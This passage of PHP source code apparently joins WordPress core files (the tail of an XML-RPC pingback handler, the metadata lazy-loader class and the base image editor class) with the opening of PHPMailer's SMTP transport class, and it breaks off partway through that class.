				if ( strlen( $context[1] ) > 100 ) {
					$context[1] = substr( $context[1], 0, 100 ) . '&#8230;';
				}

				$marker      = '<wpcontext>' . $context[1] . '</wpcontext>';  // Set up our marker.
				$excerpt     = str_replace( $context[0], $marker, $excerpt ); // Swap out the link for our marker.
				$excerpt     = strip_tags( $excerpt, '<wpcontext>' );         // Strip all tags but our context marker.
				$excerpt     = trim( $excerpt );
				$preg_marker = preg_quote( $marker, '|' );
				$excerpt     = preg_replace( "|.*?\s(.{0,100}$preg_marker.{0,100})\s.*|s", '$1', $excerpt );
				$excerpt     = strip_tags( $excerpt ); // YES, again, to remove the marker wrapper.
				break;
			}
		}

		if ( empty( $context ) ) { // Link to target not found.
			return $this->pingback_error( 17, __( 'The source URL does not contain a link to the target URL, and so cannot be used as a source.' ) );
		}

		$pagelinkedfrom = str_replace( '&', '&amp;', $pagelinkedfrom );

		$context        = '[&#8230;] ' . esc_html( $excerpt ) . ' [&#8230;]';
		$pagelinkedfrom = $this->escape( $pagelinkedfrom );

		$comment_post_id      = (int) $post_id;
		$comment_author       = $title;
		$comment_author_email = '';
		$this->escape( $comment_author );
		$comment_author_url = $pagelinkedfrom;
		$comment_content    = $context;
		$this->escape( $comment_content );
		$comment_type = 'pingback';

		$commentdata = array(
			'comment_post_ID' => $comment_post_id,
		);

		$commentdata += compact(
			'comment_author',
			'comment_author_url',
			'comment_author_email',
			'comment_content',
			'comment_type',
			'remote_source',
			'remote_source_original'
		);

		$comment_id = wp_new_comment( $commentdata );

		if ( is_wp_error( $comment_id ) ) {
			return $this->pingback_error( 0, $comment_id->get_error_message() );
		}

		/**
		 * Fires after a post pingback has been sent.
		 *
		 * @since 0.71
		 *
		 * @param int $comment_id Comment ID.
		 */
		do_action( 'pingback_post', $comment_id );

		/* translators: 1: URL of the page linked from, 2: URL of the page linked to. */
		return sprintf( __( 'Pingback from %1$s to %2$s registered. Keep the web talking! :-)' ), $pagelinkedfrom, $pagelinkedto );
	}

	/**
	 * Retrieves an array of URLs that pingbacked the given URL.
	 *
	 * Specs on http://www.aquarionics.com/misc/archives/blogite/0198.html
	 *
	 * @since 1.5.0
	 *
	 * @global wpdb $wpdb WordPress database abstraction object.
	 *
	 * @param string $url
	 * @return array|IXR_Error
	 */
	public function pingback_extensions_getPingbacks( $url ) {
		global $wpdb;

		/** This action is documented in wp-includes/class-wp-xmlrpc-server.php */
		do_action( 'xmlrpc_call', 'pingback.extensions.getPingbacks', $url, $this );

		$url = $this->escape( $url );

		$post_id = url_to_postid( $url );
		if ( ! $post_id ) {
			// We aren't sure that the resource is available and/or pingback enabled.
			return $this->pingback_error( 33, __( 'The specified target URL cannot be used as a target. It either does not exist, or it is not a pingback-enabled resource.' ) );
		}

		$actual_post = get_post( $post_id, ARRAY_A );

		if ( ! $actual_post ) {
			// No such post = resource not found.
			return $this->pingback_error( 32, __( 'The specified target URL does not exist.' ) );
		}

		$comments = $wpdb->get_results( $wpdb->prepare( "SELECT comment_author_url, comment_content, comment_author_IP, comment_type FROM $wpdb->comments WHERE comment_post_ID = %d", $post_id ) );

		if ( ! $comments ) {
			return array();
		}

		$pingbacks = array();
		foreach ( $comments as $comment ) {
			if ( 'pingback' === $comment->comment_type ) {
				$pingbacks[] = $comment->comment_author_url;
			}
		}

		return $pingbacks;
	}

	/**
	 * Sends a pingback error based on the given error code and message.
	 *
	 * @since 3.6.0
	 *
	 * @param int    $code    Error code.
	 * @param string $message Error message.
	 * @return IXR_Error Error object.
	 */
	protected function pingback_error( $code, $message ) {
		/**
		 * Filters the XML-RPC pingback error return.
		 *
		 * @since 3.5.1
		 *
		 * @param IXR_Error $error An IXR_Error object containing the error code and message.
		 */
		return apply_filters( 'xmlrpc_pingback_error', new IXR_Error( $code, $message ) );
	}
}
<?php
/**
 * Meta API: WP_Metadata_Lazyloader class
 *
 * @package WordPress
 * @subpackage Meta
 * @since 4.5.0
 */

/**
 * Core class used for lazy-loading object metadata.
 *
 * When loading many objects of a given type, such as posts in a WP_Query loop, it often makes
 * sense to prime various metadata caches at the beginning of the loop. This means fetching all
 * relevant metadata with a single database query, a technique that has the potential to improve
 * performance dramatically in some cases.
 *
 * In cases where the given metadata may not even be used in the loop, we can improve performance
 * even more by only priming the metadata cache for affected items the first time a piece of metadata
 * is requested - ie, by lazy-loading it. So, for example, comment meta may not be loaded into the
 * cache in the comments section of a post until the first time get_comment_meta() is called in the
 * context of the comment loop.
 *
 * WP uses the WP_Metadata_Lazyloader class to queue objects for metadata cache priming. The class
 * then detects the relevant get_*_meta() function call, and queries the metadata of all queued objects.
 *
 * Do not access this class directly. Use the wp_metadata_lazyloader() function.
 *
 * @since 4.5.0
 */
#[AllowDynamicProperties]
class WP_Metadata_Lazyloader {
	/**
	 * Pending objects queue.
	 *
	 * @since 4.5.0
	 * @var array
	 */
	protected $pending_objects;

	/**
	 * Settings for supported object types.
	 *
	 * @since 4.5.0
	 * @var array
	 */
	protected $settings = array();

	/**
	 * Constructor.
	 *
	 * @since 4.5.0
	 */
	public function __construct() {
		$this->settings = array(
			'term'    => array(
				'filter'   => 'get_term_metadata',
				'callback' => array( $this, 'lazyload_meta_callback' ),
			),
			'comment' => array(
				'filter'   => 'get_comment_metadata',
				'callback' => array( $this, 'lazyload_meta_callback' ),
			),
			'blog'    => array(
				'filter'   => 'get_blog_metadata',
				'callback' => array( $this, 'lazyload_meta_callback' ),
			),
		);
	}

	/**
	 * Adds objects to the metadata lazy-load queue.
	 *
	 * @since 4.5.0
	 *
	 * @param string $object_type Type of object whose meta is to be lazy-loaded. Accepts 'term' or 'comment'.
	 * @param array  $object_ids  Array of object IDs.
	 * @return void|WP_Error WP_Error on failure.
	 */
	public function queue_objects( $object_type, $object_ids ) {
		if ( ! isset( $this->settings[ $object_type ] ) ) {
			return new WP_Error( 'invalid_object_type', __( 'Invalid object type.' ) );
		}

		$type_settings = $this->settings[ $object_type ];

		if ( ! isset( $this->pending_objects[ $object_type ] ) ) {
			$this->pending_objects[ $object_type ] = array();
		}

		foreach ( $object_ids as $object_id ) {
			// Keyed by ID for faster lookup.
			if ( ! isset( $this->pending_objects[ $object_type ][ $object_id ] ) ) {
				$this->pending_objects[ $object_type ][ $object_id ] = 1;
			}
		}

		add_filter( $type_settings['filter'], $type_settings['callback'], 10, 5 );

		/**
		 * Fires after objects are added to the metadata lazy-load queue.
		 *
		 * @since 4.5.0
		 *
		 * @param array                  $object_ids  Array of object IDs.
		 * @param string                 $object_type Type of object being queued.
		 * @param WP_Metadata_Lazyloader $lazyloader  The lazy-loader object.
		 */
		do_action( 'metadata_lazyloader_queued_objects', $object_ids, $object_type, $this );
	}

	/**
	 * Resets lazy-load queue for a given object type.
	 *
	 * @since 4.5.0
	 *
	 * @param string $object_type Object type. Accepts 'comment' or 'term'.
	 * @return void|WP_Error WP_Error on failure.
	 */
	public function reset_queue( $object_type ) {
		if ( ! isset( $this->settings[ $object_type ] ) ) {
			return new WP_Error( 'invalid_object_type', __( 'Invalid object type.' ) );
		}

		$type_settings = $this->settings[ $object_type ];

		$this->pending_objects[ $object_type ] = array();
		remove_filter( $type_settings['filter'], $type_settings['callback'] );
	}

	/**
	 * Lazy-loads term meta for queued terms.
	 *
	 * This method is public so that it can be used as a filter callback. As a rule, there
	 * is no need to invoke it directly.
	 *
	 * @since 4.5.0
	 * @deprecated 6.3.0 Use WP_Metadata_Lazyloader::lazyload_meta_callback() instead.
	 *
	 * @param mixed $check The `$check` param passed from the 'get_term_metadata' hook.
	 * @return mixed In order not to short-circuit `get_metadata()`. Generally, this is `null`, but it could be
	 *               another value if filtered by a plugin.
	 */
	public function lazyload_term_meta( $check ) {
		_deprecated_function( __METHOD__, '6.3.0', 'WP_Metadata_Lazyloader::lazyload_meta_callback' );
		return $this->lazyload_meta_callback( $check, 0, '', false, 'term' );
	}

	/**
	 * Lazy-loads comment meta for queued comments.
	 *
	 * This method is public so that it can be used as a filter callback. As a rule, there is no need to invoke it
	 * directly, from either inside or outside the `WP_Query` object.
	 *
	 * @since 4.5.0
	 * @deprecated 6.3.0 Use WP_Metadata_Lazyloader::lazyload_meta_callback() instead.
	 *
	 * @param mixed $check The `$check` param passed from the {@see 'get_comment_metadata'} hook.
	 * @return mixed The original value of `$check`, so as not to short-circuit `get_comment_metadata()`.
	 */
	public function lazyload_comment_meta( $check ) {
		_deprecated_function( __METHOD__, '6.3.0', 'WP_Metadata_Lazyloader::lazyload_meta_callback' );
		return $this->lazyload_meta_callback( $check, 0, '', false, 'comment' );
	}

	/**
	 * Lazy-loads meta for queued objects.
	 *
	 * This method is public so that it can be used as a filter callback. As a rule, there
	 * is no need to invoke it directly.
	 *
	 * @since 6.3.0
	 *
	 * @param mixed  $check     The `$check` param passed from the 'get_*_metadata' hook.
	 * @param int    $object_id ID of the object metadata is for.
	 * @param string $meta_key  Unused.
	 * @param bool   $single    Unused.
	 * @param string $meta_type Type of object metadata is for. Accepts 'post', 'comment', 'term', 'user',
	 *                          or any other object type with an associated meta table.
	 * @return mixed In order not to short-circuit `get_metadata()`. Generally, this is `null`, but it could be
	 *               another value if filtered by a plugin.
	 */
	public function lazyload_meta_callback( $check, $object_id, $meta_key, $single, $meta_type ) {
		if ( empty( $this->pending_objects[ $meta_type ] ) ) {
			return $check;
		}

		$object_ids = array_keys( $this->pending_objects[ $meta_type ] );
		if ( $object_id && ! in_array( $object_id, $object_ids, true ) ) {
			$object_ids[] = $object_id;
		}

		update_meta_cache( $meta_type, $object_ids );

		// No need to run again for this set of objects.
		$this->reset_queue( $meta_type );

		return $check;
	}
}
<?php
/**
 * Base WordPress Image Editor
 *
 * @package WordPress
 * @subpackage Image_Editor
 */

/**
 * Base image editor class from which implementations extend
 *
 * @since 3.5.0
 */
#[AllowDynamicProperties]
abstract class WP_Image_Editor {
	protected $file              = null;
	protected $size              = null;
	protected $mime_type         = null;
	protected $output_mime_type  = null;
	protected $default_mime_type = 'image/jpeg';
	protected $quality           = false;

	// Deprecated since 5.8.1. See get_default_quality() below.
	protected $default_quality = 82;

	/**
	 * Each instance handles a single file.
	 *
	 * @param string $file Path to the file to load.
	 */
	public function __construct( $file ) {
		$this->file = $file;
	}

	/**
	 * Checks to see if current environment supports the editor chosen.
	 * Must be overridden in a subclass.
	 *
	 * @since 3.5.0
	 *
	 * @abstract
	 *
	 * @param array $args
	 * @return bool
	 */
	public static function test( $args = array() ) {
		return false;
	}

	/**
	 * Checks to see if editor supports the mime-type specified.
	 * Must be overridden in a subclass.
	 *
	 * @since 3.5.0
	 *
	 * @abstract
	 *
	 * @param string $mime_type
	 * @return bool
	 */
	public static function supports_mime_type( $mime_type ) {
		return false;
	}

	/**
	 * Loads image from $this->file into editor.
	 *
	 * @since 3.5.0
	 * @abstract
	 *
	 * @return true|WP_Error True if loaded; WP_Error on failure.
	 */
	abstract public function load();

	/**
	 * Saves current image to file.
	 *
	 * @since 3.5.0
	 * @since 6.0.0 The `$filesize` value was added to the returned array.
	 * @abstract
	 *
	 * @param string $destfilename Optional. Destination filename. Default null.
	 * @param string $mime_type    Optional. The mime-type. Default null.
	 * @return array|WP_Error {
	 *     Array on success or WP_Error if the file failed to save.
	 *
	 *     @type string $path      Path to the image file.
	 *     @type string $file      Name of the image file.
	 *     @type int    $width     Image width.
	 *     @type int    $height    Image height.
	 *     @type string $mime-type The mime type of the image.
	 *     @type int    $filesize  File size of the image.
	 * }
	 */
	abstract public function save( $destfilename = null, $mime_type = null );

	/**
	 * Resizes current image.
	 *
	 * At minimum, either a height or width must be provided.
	 * If one of the two is set to null, the resize will
	 * maintain aspect ratio according to the provided dimension.
	 *
	 * @since 3.5.0
	 * @abstract
	 *
	 * @param int|null   $max_w Image width.
	 * @param int|null   $max_h Image height.
	 * @param bool|array $crop  {
	 *     Optional. Image cropping behavior. If false, the image will be scaled (default).
	 *     If true, image will be cropped to the specified dimensions using center positions.
	 *     If an array, the image will be cropped using the array to specify the crop location:
	 *
	 *     @type string $0 The x crop position. Accepts 'left' 'center', or 'right'.
	 *     @type string $1 The y crop position. Accepts 'top', 'center', or 'bottom'.
	 * }
	 * @return true|WP_Error
	 */
	abstract public function resize( $max_w, $max_h, $crop = false );

	/**
	 * Resize multiple images from a single source.
	 *
	 * @since 3.5.0
	 * @abstract
	 *
	 * @param array $sizes {
	 *     An array of image size arrays. Default sizes are 'small', 'medium', 'large'.
	 *
	 *     @type array ...$0 {
	 *         @type int        $width  Image width.
	 *         @type int        $height Image height.
	 *         @type bool|array $crop   Optional. Whether to crop the image. Default false.
	 *     }
	 * }
	 * @return array An array of resized images metadata by size.
	 */
	abstract public function multi_resize( $sizes );

	/**
	 * Crops Image.
	 *
	 * @since 3.5.0
	 * @abstract
	 *
	 * @param int  $src_x   The start x position to crop from.
	 * @param int  $src_y   The start y position to crop from.
	 * @param int  $src_w   The width to crop.
	 * @param int  $src_h   The height to crop.
	 * @param int  $dst_w   Optional. The destination width.
	 * @param int  $dst_h   Optional. The destination height.
	 * @param bool $src_abs Optional. If the source crop points are absolute.
	 * @return true|WP_Error
	 */
	abstract public function crop( $src_x, $src_y, $src_w, $src_h, $dst_w = null, $dst_h = null, $src_abs = false );

	/**
	 * Rotates current image counter-clockwise by $angle.
	 *
	 * @since 3.5.0
	 * @abstract
	 *
	 * @param float $angle
	 * @return true|WP_Error
	 */
	abstract public function rotate( $angle );

	/**
	 * Flips current image.
	 *
	 * @since 3.5.0
	 * @abstract
	 *
	 * @param bool $horz Flip along Horizontal Axis
	 * @param bool $vert Flip along Vertical Axis
	 * @return true|WP_Error
	 */
	abstract public function flip( $horz, $vert );

	/**
	 * Streams current image to browser.
	 *
	 * @since 3.5.0
	 * @abstract
	 *
	 * @param string $mime_type The mime type of the image.
	 * @return true|WP_Error True on success, WP_Error object on failure.
	 */
	abstract public function stream( $mime_type = null );

	/**
	 * Gets dimensions of image.
	 *
	 * @since 3.5.0
	 *
	 * @return int[] {
	 *     Dimensions of the image.
	 *
	 *     @type int $width  The image width.
	 *     @type int $height The image height.
	 * }
	 */
	public function get_size() {
		return $this->size;
	}

	/**
	 * Sets current image size.
	 *
	 * @since 3.5.0
	 *
	 * @param int $width
	 * @param int $height
	 * @return true
	 */
	protected function update_size( $width = null, $height = null ) {
		$this->size = array(
			'width'  => (int) $width,
			'height' => (int) $height,
		);
		return true;
	}

	/**
	 * Gets the Image Compression quality on a 1-100% scale.
	 *
	 * @since 4.0.0
	 *
	 * @return int Compression Quality. Range: [1,100]
	 */
	public function get_quality() {
		if ( ! $this->quality ) {
			$this->set_quality();
		}

		return $this->quality;
	}

	/**
	 * Sets Image Compression quality on a 1-100% scale.
	 *
	 * @since 3.5.0
	 *
	 * @param int $quality Compression Quality. Range: [1,100]
	 * @return true|WP_Error True if set successfully; WP_Error on failure.
	 */
	public function set_quality( $quality = null ) {
		// Use the output mime type if present. If not, fall back to the input/initial mime type.
		$mime_type = ! empty( $this->output_mime_type ) ? $this->output_mime_type : $this->mime_type;
		// Get the default quality setting for the mime type.
		$default_quality = $this->get_default_quality( $mime_type );

		if ( null === $quality ) {
			/**
			 * Filters the default image compression quality setting.
			 *
			 * Applies only during initial editor instantiation, or when set_quality() is run
			 * manually without the `$quality` argument.
			 *
			 * The WP_Image_Editor::set_quality() method has priority over the filter.
			 *
			 * @since 3.5.0
			 *
			 * @param int    $quality   Quality level between 1 (low) and 100 (high).
			 * @param string $mime_type Image mime type.
			 */
			$quality = apply_filters( 'wp_editor_set_quality', $default_quality, $mime_type );

			if ( 'image/jpeg' === $mime_type ) {
				/**
				 * Filters the JPEG compression quality for backward-compatibility.
				 *
				 * Applies only during initial editor instantiation, or when set_quality() is run
				 * manually without the `$quality` argument.
				 *
				 * The WP_Image_Editor::set_quality() method has priority over the filter.
				 *
				 * The filter is evaluated under two contexts: 'image_resize', and 'edit_image',
				 * (when a JPEG image is saved to file).
				 *
				 * @since 2.5.0
				 *
				 * @param int    $quality Quality level between 0 (low) and 100 (high) of the JPEG.
				 * @param string $context Context of the filter.
				 */
				$quality = apply_filters( 'jpeg_quality', $quality, 'image_resize' );
			}

			if ( $quality < 0 || $quality > 100 ) {
				$quality = $default_quality;
			}
		}

		// Allow 0, but squash to 1 due to identical images in GD, and for backward compatibility.
		if ( 0 === $quality ) {
			$quality = 1;
		}

		if ( ( $quality >= 1 ) && ( $quality <= 100 ) ) {
			$this->quality = $quality;
			return true;
		} else {
			return new WP_Error( 'invalid_image_quality', __( 'Attempted to set image quality outside of the range [1,100].' ) );
		}
	}

	/**
	 * Returns the default compression quality setting for the mime type.
	 *
	 * @since 5.8.1
	 *
	 * @param string $mime_type
	 * @return int The default quality setting for the mime type.
	 */
	protected function get_default_quality( $mime_type ) {
		switch ( $mime_type ) {
			case 'image/webp':
				$quality = 86;
				break;
			case 'image/jpeg':
			case 'image/avif':
			default:
				$quality = $this->default_quality;
		}

		return $quality;
	}

	/**
	 * Returns preferred mime-type and extension based on provided
	 * file's extension and mime, or current file's extension and mime.
	 *
	 * Will default to $this->default_mime_type if requested is not supported.
	 *
	 * Provides corrected filename only if filename is provided.
	 *
	 * @since 3.5.0
	 *
	 * @param string $filename
	 * @param string $mime_type
	 * @return array { filename|null, extension, mime-type }
	 */
	protected function get_output_format( $filename = null, $mime_type = null ) {
		$new_ext = null;

		// By default, assume specified type takes priority.
		if ( $mime_type ) {
			$new_ext = $this->get_extension( $mime_type );
		}

		if ( $filename ) {
			$file_ext  = strtolower( pathinfo( $filename, PATHINFO_EXTENSION ) );
			$file_mime = $this->get_mime_type( $file_ext );
		} else {
			// If no file specified, grab editor's current extension and mime-type.
			$file_ext  = strtolower( pathinfo( $this->file, PATHINFO_EXTENSION ) );
			$file_mime = $this->mime_type;
		}

		/*
		 * Check to see if specified mime-type is the same as type implied by
		 * file extension. If so, prefer extension from file.
		 */
		if ( ! $mime_type || ( $file_mime === $mime_type ) ) {
			$mime_type = $file_mime;
			$new_ext   = $file_ext;
		}

		/**
		 * Filters the image editor output format mapping.
		 *
		 * Enables filtering the mime type used to save images. By default,
		 * the mapping array is empty, so the mime type matches the source image.
		 *
		 * @see WP_Image_Editor::get_output_format()
		 *
		 * @since 5.8.0
		 *
		 * @param string[] $output_format {
		 *     An array of mime type mappings. Maps a source mime type to a new
		 *     destination mime type. Default empty array.
		 *
		 *     @type string ...$0 The new mime type.
		 * }
		 * @param string $filename  Path to the image.
		 * @param string $mime_type The source image mime type.
		 */
		$output_format = apply_filters( 'image_editor_output_format', array(), $filename, $mime_type );

		if ( isset( $output_format[ $mime_type ] )
			&& $this->supports_mime_type( $output_format[ $mime_type ] )
		) {
			$mime_type = $output_format[ $mime_type ];
			$new_ext   = $this->get_extension( $mime_type );
		}

		/*
		 * Double-check that the mime-type selected is supported by the editor.
		 * If not, choose a default instead.
		 */
		if ( ! $this->supports_mime_type( $mime_type ) ) {
			/**
			 * Filters default mime type prior to getting the file extension.
			 *
			 * @see wp_get_mime_types()
			 *
			 * @since 3.5.0
			 *
			 * @param string $mime_type Mime type string.
			 */
			$mime_type = apply_filters( 'image_editor_default_mime_type', $this->default_mime_type );
			$new_ext   = $this->get_extension( $mime_type );
		}

		/*
		 * Ensure both $filename and $new_ext are not empty.
		 * $this->get_extension() returns false on error which would effectively remove the extension
		 * from $filename. That shouldn't happen, files without extensions are not supported.
		 */
		if ( $filename && $new_ext ) {
			$dir = pathinfo( $filename, PATHINFO_DIRNAME );
			$ext = pathinfo( $filename, PATHINFO_EXTENSION );

			$filename = trailingslashit( $dir ) . wp_basename( $filename, ".$ext" ) . ".{$new_ext}";
		}

		if ( $mime_type && ( $mime_type !== $this->mime_type ) ) {
			// The image will be converted when saving. Set the quality for the new mime-type if not already set.
			if ( $mime_type !== $this->output_mime_type ) {
				$this->output_mime_type = $mime_type;
			}
			$this->set_quality();
		} elseif ( ! empty( $this->output_mime_type ) ) {
			// Reset output_mime_type and quality.
			$this->output_mime_type = null;
			$this->set_quality();
		}

		return array( $filename, $new_ext, $mime_type );
	}

	/**
	 * Builds an output filename based on current file, and adding proper suffix
	 *
	 * @since 3.5.0
	 *
	 * @param string $suffix
	 * @param string $dest_path
	 * @param string $extension
	 * @return string filename
	 */
	public function generate_filename( $suffix = null, $dest_path = null, $extension = null ) {
		// $suffix will be appended to the destination filename, just before the extension.
		if ( ! $suffix ) {
			$suffix = $this->get_suffix();
		}

		$dir = pathinfo( $this->file, PATHINFO_DIRNAME );
		$ext = pathinfo( $this->file, PATHINFO_EXTENSION );

		$name    = wp_basename( $this->file, ".$ext" );
		$new_ext = strtolower( $extension ? $extension : $ext );

		if ( ! is_null( $dest_path ) ) {
			if ( ! wp_is_stream( $dest_path ) ) {
				$_dest_path = realpath( $dest_path );
				if ( $_dest_path ) {
					$dir = $_dest_path;
				}
			} else {
				$dir = $dest_path;
			}
		}

		return trailingslashit( $dir ) . "{$name}-{$suffix}.{$new_ext}";
	}

	/**
	 * Builds and returns proper suffix for file based on height and width.
	 *
	 * @since 3.5.0
	 *
	 * @return string|false suffix
	 */
	public function get_suffix() {
		if ( ! $this->get_size() ) {
			return false;
		}

		return "{$this->size['width']}x{$this->size['height']}";
	}

	/**
	 * Check if a JPEG image has EXIF Orientation tag and rotate it if needed.
	 *
	 * @since 5.3.0
	 *
	 * @return bool|WP_Error True if the image was rotated. False if not rotated (no EXIF data or the image doesn't need to be rotated).
	 *                       WP_Error if error while rotating.
	 */
	public function maybe_exif_rotate() {
		$orientation = null;

		if ( is_callable( 'exif_read_data' ) && 'image/jpeg' === $this->mime_type ) {
			$exif_data = @exif_read_data( $this->file );

			if ( ! empty( $exif_data['Orientation'] ) ) {
				$orientation = (int) $exif_data['Orientation'];
			}
		}

		/**
		 * Filters the `$orientation` value to correct it before rotating or to prevent rotating the image.
		 *
		 * @since 5.3.0
		 *
		 * @param int    $orientation EXIF Orientation value as retrieved from the image file.
		 * @param string $file        Path to the image file.
		 */
		$orientation = apply_filters( 'wp_image_maybe_exif_rotate', $orientation, $this->file );

		if ( ! $orientation || 1 === $orientation ) {
			return false;
		}

		switch ( $orientation ) {
			case 2:
				// Flip horizontally.
				$result = $this->flip( false, true );
				break;
			case 3:
				/*
				 * Rotate 180 degrees or flip horizontally and vertically.
				 * Flipping seems faster and uses less resources.
				 */
				$result = $this->flip( true, true );
				break;
			case 4:
				// Flip vertically.
				$result = $this->flip( true, false );
				break;
			case 5:
				// Rotate 90 degrees counter-clockwise and flip vertically.
				$result = $this->rotate( 90 );

				if ( ! is_wp_error( $result ) ) {
					$result = $this->flip( true, false );
				}

				break;
			case 6:
				// Rotate 90 degrees clockwise (270 counter-clockwise).
				$result = $this->rotate( 270 );
				break;
			case 7:
				// Rotate 90 degrees counter-clockwise and flip horizontally.
				$result = $this->rotate( 90 );

				if ( ! is_wp_error( $result ) ) {
					$result = $this->flip( false, true );
				}

				break;
			case 8:
				// Rotate 90 degrees counter-clockwise.
				$result = $this->rotate( 90 );
				break;
		}

		return $result;
	}

	/**
	 * Either calls editor's save function or handles file as a stream.
	 *
	 * @since 3.5.0
	 *
	 * @param string   $filename
	 * @param callable $callback
	 * @param array    $arguments
	 * @return bool
	 */
	protected function make_image( $filename, $callback, $arguments ) {
		$stream = wp_is_stream( $filename );
		if ( $stream ) {
			ob_start();
		} else {
			// The directory containing the original file may no longer exist when using a replication plugin.
			wp_mkdir_p( dirname( $filename ) );
		}

		$result = call_user_func_array( $callback, $arguments );

		if ( $result && $stream ) {
			$contents = ob_get_contents();

			$fp = fopen( $filename, 'w' );

			if ( ! $fp ) {
				ob_end_clean();
				return false;
			}

			fwrite( $fp, $contents );
			fclose( $fp );
		}

		if ( $stream ) {
			ob_end_clean();
		}

		return $result;
	}

	/**
	 * Returns first matched mime-type from extension,
	 * as mapped from wp_get_mime_types()
	 *
	 * @since 3.5.0
	 *
	 * @param string $extension
	 * @return string|false
	 */
	protected static function get_mime_type( $extension = null ) {
		if ( ! $extension ) {
			return false;
		}

		$mime_types = wp_get_mime_types();
		$extensions = array_keys( $mime_types );

		foreach ( $extensions as $_extension ) {
			if ( preg_match( "/{$extension}/i", $_extension ) ) {
				return $mime_types[ $_extension ];
			}
		}

		return false;
	}

	/**
	 * Returns first matched extension from Mime-type,
	 * as mapped from wp_get_mime_types()
	 *
	 * @since 3.5.0
	 *
	 * @param string $mime_type
	 * @return string|false
	 */
	protected static function get_extension( $mime_type = null ) {
		if ( empty( $mime_type ) ) {
			return false;
		}

		return wp_get_default_extension_for_mime_type( $mime_type );
	}
}
<?php

/**
 * PHPMailer RFC821 SMTP email transport class.
 * PHP Version 5.5.
 *
 * @see       https://github.com/PHPMailer/PHPMailer/ The PHPMailer GitHub project
 *
 * @author    Marcus Bointon (Synchro/coolbru) <phpmailer@synchromedia.co.uk>
 * @author    Jim Jagielski (jimjag) <jimjag@gmail.com>
 * @author    Andy Prevost (codeworxtech) <codeworxtech@users.sourceforge.net>
 * @author    Brent R. Matzelle (original founder)
 * @copyright 2012 - 2020 Marcus Bointon
 * @copyright 2010 - 2012 Jim Jagielski
 * @copyright 2004 - 2009 Andy Prevost
 * @license   http://www.gnu.org/copyleft/lesser.html GNU Lesser General Public License
 * @note      This program is distributed in the hope that it will be useful - WITHOUT
 * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
 * FITNESS FOR A PARTICULAR PURPOSE.
 */

namespace PHPMailer\PHPMailer;

/**
 * PHPMailer RFC821 SMTP email transport class.
 * Implements RFC 821 SMTP commands and provides some utility methods for sending mail to an SMTP server.
 *
 * @author Chris Ryan
 * @author Marcus Bointon <phpmailer@synchromedia.co.uk>
 */
class SMTP
{
    /**
     * The PHPMailer SMTP version number.
     *
     * @var string
     */
    const VERSION = '6.9.1';

    /**
     * SMTP line break constant.
     *
     * @var string
     */
    const LE = "\r\n";

    /**
     * The SMTP port to use if one is not specified.
     *
     * @var int
     */
    const DEFAULT_PORT = 25;

    /**
     * The SMTPs port to use if one is not specified.
     *
     * @var int
     */
    const DEFAULT_SECURE_PORT = 465;

    /**
     * The maximum line length allowed by RFC 5321 section 4.5.3.1.6,
     * *excluding* a trailing CRLF break.
     *
     * @see https://tools.ietf.org/html/rfc5321#section-4.5.3.1.6
     *
     * @var int
     */
    const MAX_LINE_LENGTH = 998;

    /**
     * The maximum line length allowed for replies in RFC 5321 section 4.5.3.1.5,
     * *including* a trailing CRLF line break.
     *
     * @see https://tools.ietf.org/html/rfc5321#section-4.5.3.1.5
     *
     * @var int
     */
    const MAX_REPLY_LENGTH = 512;

    /**
     * Debug level for no output.
     *
     * @var int
     */
    const DEBUG_OFF = 0;

    /**
     * Debug level to show client -> server messages.
     *
     * @var int
     */
    const DEBUG_CLIENT = 1;

    /**
     * Debug level to show client -> server and server -> client messages.
     *
     * @var int
     */
    const DEBUG_SERVER = 2;

    /**
     * Debug level to show connection status, client -> server and server -> client messages.
     *
     * @var int
     */
    const DEBUG_CONNECTION = 3;

    /**
     * Debug level to show all messages.
     *
     * @var int
     */
    const DEBUG_LOWLEVEL = 4;

    /**
     * Debug output level.
     * Options:
     * * self::DEBUG_OFF (`0`) No debug output, default
     * * self::DEBUG_CLIENT (`1`) Client commands
     * * self::DEBUG_SERVER (`2`) Client commands and server responses
     * * self::DEBUG_CONNECTION (`3`) As DEBUG_SERVER plus connection status
     * * self::DEBUG_LOWLEVEL (`4`) Low-level data output, all messages.
     *
     * @var int
     */
    public $do_debug = self::DEBUG_OFF;

    /**
     * How to handle debug output.
     * Options:
     * * `echo` Output plain-text as-is, appropriate for CLI
     * * `html` Output escaped, line breaks converted to `<br>`, appropriate for browser output
     * * `error_log` Output to error log as configured in php.ini
     * Alternatively, you can provide a callable expecting two params: a message string and the debug level:
     *
     * ```php
     * $smtp->Debugoutput = function($str, $level) {echo "debug level $level; message: $str";};
     * ```
     *
     * Alternatively, you can pass in an instance of a PSR-3 compatible logger, though only `debug`
     * level output is used:
     *
     * ```php
     * $mail->Debugoutput = new myPsr3Logger;
     * ```
     *
     * @var string|callable|\Psr\Log\LoggerInterface
     */
    public $Debugoutput = 'echo';

    /**
     * Whether to use VERP.
     *
     * @see http://en.wikipedia.org/wiki/Variable_envelope_return_path
     * @see http://www.postfix.org/VERP_README.html Info on VERP
     *
     * @var bool
     */
    public $do_verp = false;

    /**
     * The timeout value for connection, in seconds.
     * Default of 5 minutes (300sec) is from RFC2821 section 4.5.3.2.
     * This needs to be quite high to function correctly with hosts using greetdelay as an anti-spam measure.
     *
     * @see http://tools.ietf.org/html/rfc2821#section-4.5.3.2
     *
     * @var int
     */
    public $Timeout = 300;

    /**
     * How long to wait for commands to complete, in seconds.
     * Default of 5 minutes (300sec) is from RFC2821 section 4.5.3.2.
     *
     * @var int
     */
    public $Timelimit = 300;

    /**
     * Patterns to extract an SMTP transaction id from reply to a DATA command.
     * The first capture group in each regex will be used as the ID.
     * MS ESMTP returns the message ID, which may not be correct for internal tracking.
     *
     * @var string[]
     */
    protected $smtp_transaction_id_patterns = [
        'exim' => '/[\d]{3} OK id=(.*)/',
        'sendmail' => '/[\d]{3} 2.0.0 (.*) Message/',
        'postfix' => '/[\d]{3} 2.0.0 Ok: queued as (.*)/',
        'Microsoft_ESMTP' => '/[0-9]{3} 2.[\d].0 (.*)@(?:.*) Queued mail for delivery/',
        'Amazon_SES' => '/[\d]{3} Ok (.*)/',
        'SendGrid' => '/[\d]{3} Ok: queued as (.*)/',
        'CampaignMonitor' => '/[\d]{3} 2.0.0 OK:([a-zA-Z\d]{48})/',
        'Haraka' => '/[\d]{3} Message Queued \((.*)\)/',
        'ZoneMTA' => '/[\d]{3} Message queued as (.*)/',
        'Mailjet' => '/[\d]{3} OK queued as (.*)/',
    ];

    /**
     * Allowed SMTP XCLIENT attributes.
